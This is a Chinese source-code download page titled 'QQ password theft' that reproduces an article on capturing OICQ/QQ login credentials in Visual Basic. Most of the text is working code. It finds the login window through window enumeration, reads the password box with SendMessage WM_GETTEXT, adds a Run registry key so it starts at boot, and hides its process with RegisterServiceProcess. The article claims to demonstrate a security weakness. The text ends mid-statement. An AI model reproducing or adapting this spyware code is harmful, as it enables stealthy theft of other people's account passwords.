-
资源名称:QQ密码盗取.zip [点击查看]
上传用户:longston
上传日期:2007-05-02
资源大小:23k
文件大小:10k
源码类别:
ICQ弱点检测代码
开发平台:
Visual Basic
- 在 VB 中使用窗口函数截取 OICQ 帐号密码
- 武汉 艾军
- 摘要 本文简单介绍如何采用 Visual Basic 语言,利用窗口函数截取 OICQ 帐号密码,并以此说明 OICQ 存在安全隐串。
- 关键字 密码,窗口函数,即时监视
- 一、引言
- OICQ 从无到有,现在可以说中国的每一个网吧都装有 OICQ,每一个上过网的人都用过 OICQ,那么 OICQ 的加密功能倒底怎么样呢, OICQ 版本从低到高,其加密功能也越来越强,现在破解 OICQ 密码的方法大致有:穷举法、直接读取密码文件两种。
- 先说穷举法,对于这种方法 OICQ 的各个版本,可以说都没有任何的防范的方法,也许他们认为这种破解方法不伤大雅,只要用户在使用 OICQ 时,把密码设长些就可以。现在像用穷举法进行 OICQ 密码破解的软件已非常多了,所以破解的原理也就不多说了。
- 再说直接读取密码文件,现在 OICQ 的加密越来越强,要用这种方法可以花上不少的功夫,而且在网吧上网的人,都有离开时,删除自己 OICQ 号目录的习惯,因此有时这种方法根本无能为力。
- 最后要说的,就是即时监视法,也就是本文章要介绍的,通过窗口函数取得密码的方法(适用任何版本的 OICQ)。
- 二、设计思路
- 我们知道 OICQ 的密码框并没有进行特别的处理,也就是说用可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取,具体请看下面:
- 使用 Timer 控件,监视 OICQ。
- 用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"OICQ用户登录"的标题,取得 OICQ 登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过 ComboBox、Edit 取得用户名和密码(通过 SendMessage 发送 WM_GETTEXT 取得值)。
- 由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下:
- 首先取得 用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。
- 三、程序编制(完整的程序代码和注释)
- (1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。
- 声明变量、过程及 API 函数,写在 Module1.bas 文件中
- Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象
- Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象
- Type SECURITY_ATTRIBUTES
- nLength As Long
- lpSecurityDescriptor As Long
- bInheritHandle As Long
- End Type
- Const PAGE_READWRITE = 1
- Const ERROR_ALREADY_EXISTS = 183&
- 建立判断程序是否多启动的过程
- Sub Main()
- Dim ynRun As Long
- Dim sa As SECURITY_ATTRIBUTES
- sa.bInheritHandle = 1
- sa.lpSecurityDescriptor = 0
- sa.nLength = Len(sa)
- ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件
- If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出
- CloseHandle ynRun '退出程序前关闭内存映射文件
- End
- End If
- End Sub
- (2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法
- 声明变量、过程及 API 函数,写在 Module1.bas 文件中
- Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项
- Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值
- Const HKEY_LOCAL_MACHINE = &H80000002
- Const REG_SZ = 1
- 建立使程序自启动的过程
- Sub AutoRun()
- Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
- Dim Ret As Integer, lphKey As Long
- sKeyName = "SoftwareMicrosoftWindowsCurrentVersionRun" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看
- sKeyValue = App.Path & IIf(Len(App.Path) > 3, "" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序
- Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
- Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
- End Sub
- (3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。
- 声明变量、过程及 API 函数,写在 Module1.bas 文件中
- Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
- Const RSP_SIMPLE_SERVICE = 1 '隐藏
- 建立实现程序自身在关闭程序对话框中的隐藏的过程
- Sub HideMyWin()
- RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
- End Sub
- (4)即时监视是否运行了 OICQ
- 加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。
- Private Sub Timer1_Timer()
- EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序
- End Sub
- 声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中
- Option Explicit
- Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口
- Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题
- Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名
- Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '获得一个窗口的句柄
- Const GW_CHILD = 5 '寻找源窗口的第一个子窗口
- Const GW_HWNDNEXT = 2 '为源窗口寻找下一个兄弟窗口
- Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
- wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
- Const WM_GETTEXT = &HD
- Const WM_GETTEXTLENGTH = &HE
- Dim buf As String
- Dim nameall, name, passwordall, password As String
- Dim i As Integer
- Dim title, titleall, filepath As String
- Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
- Dim buf As String * 1024
- Dim length As Long
- filepath = App.Path & "